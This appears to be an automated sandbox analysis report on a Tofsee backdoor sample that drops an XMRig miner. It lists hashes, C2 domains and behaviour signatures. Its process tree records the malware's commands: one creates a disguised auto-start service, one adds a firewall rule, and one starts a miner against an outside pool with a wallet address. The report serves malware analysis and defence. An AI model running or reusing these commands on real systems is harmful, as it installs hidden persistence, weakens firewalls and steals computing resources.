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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 07:39

General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    895e22225e211ab309f7e14c08024498

  • SHA1

    3a343faca4fcf4bf27322c7109fbba19a5f390c2

  • SHA256

    9f3615bc4f0403c7c3bd0b6ab6128cfe871cb228284922bbef62c5bda8e6caf0

  • SHA512

    beeca24d02de7cbe4db7146c650c42b59ac1a5824d7cad701a87c94845269d623eab78ca71a036fb7192a20f7979a0fc67c4b6beced8d2c56b78cf4d04fd8c26

  • SSDEEP

    3072:fyf2iATLGMZwR9vACR3vUbKQ9VaNnXiyqgjw8/g3xotY33mG3ERWR3LV:qf2vTLGM8YafULaJyyjFg3CtGnU0VB

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gbhwsgpd\
      2⤵
        PID:4920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe" C:\Windows\SysWOW64\gbhwsgpd\
        2⤵
          PID:2024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gbhwsgpd binPath= "C:\Windows\SysWOW64\gbhwsgpd\mgiqmgmf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gbhwsgpd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gbhwsgpd
          2⤵
          • Launches sc.exe
          PID:3368
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2328
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2580 -s 1216
          2⤵
          • Program crash
          PID:564
      • C:\Windows\SysWOW64\gbhwsgpd\mgiqmgmf.exe
        C:\Windows\SysWOW64\gbhwsgpd\mgiqmgmf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:756
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1428
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1244 -s 516
          2⤵
          • Program crash
          PID:448
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2580 -ip 2580
        1⤵
          PID:4716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1244 -ip 1244
          1⤵
            PID:3236

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe

            Filesize

            11.5MB

            MD5

            eb5e54a9747c98dbfd08d477b67dbcf1

            SHA1

            9cbe33e7526f74cd4a2df6dfb9d2b9ede4b92f73

            SHA256

            ca76ff6877e84327c718a18dba5b45ca84a183ede694c665f8746a3ea31a49aa

            SHA512

            8a5ba19d9f4c1c75569aa2011106a873c7471c77d7cd00e22524ba7b812447929d67585982de403093c29cb9029c0da13fe8f75e696fc57602f750bc902c46ad

          • C:\Windows\SysWOW64\gbhwsgpd\mgiqmgmf.exe

            Filesize

            11.5MB

            MD5

            eb5e54a9747c98dbfd08d477b67dbcf1

            SHA1

            9cbe33e7526f74cd4a2df6dfb9d2b9ede4b92f73

            SHA256

            ca76ff6877e84327c718a18dba5b45ca84a183ede694c665f8746a3ea31a49aa

            SHA512

            8a5ba19d9f4c1c75569aa2011106a873c7471c77d7cd00e22524ba7b812447929d67585982de403093c29cb9029c0da13fe8f75e696fc57602f750bc902c46ad

          • memory/756-157-0x0000000001F60000-0x0000000001F66000-memory.dmp

            Filesize

            24KB

          • memory/756-166-0x0000000007780000-0x0000000007B8B000-memory.dmp

            Filesize

            4.0MB

          • memory/756-152-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/756-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/756-160-0x0000000001F70000-0x0000000001F80000-memory.dmp

            Filesize

            64KB

          • memory/756-147-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/756-169-0x0000000002DE0000-0x0000000002DE7000-memory.dmp

            Filesize

            28KB

          • memory/756-163-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

            Filesize

            20KB

          • memory/756-153-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/1244-150-0x000000000077E000-0x000000000078E000-memory.dmp

            Filesize

            64KB

          • memory/1244-151-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/1428-173-0x0000000000230000-0x0000000000321000-memory.dmp

            Filesize

            964KB

          • memory/1428-178-0x0000000000230000-0x0000000000321000-memory.dmp

            Filesize

            964KB

          • memory/2580-133-0x00000000004E0000-0x00000000004F3000-memory.dmp

            Filesize

            76KB

          • memory/2580-144-0x00000000004E0000-0x00000000004F3000-memory.dmp

            Filesize

            76KB

          • memory/2580-132-0x0000000000673000-0x0000000000684000-memory.dmp

            Filesize

            68KB

          • memory/2580-135-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/2580-145-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/2580-143-0x0000000000673000-0x0000000000684000-memory.dmp

            Filesize

            68KB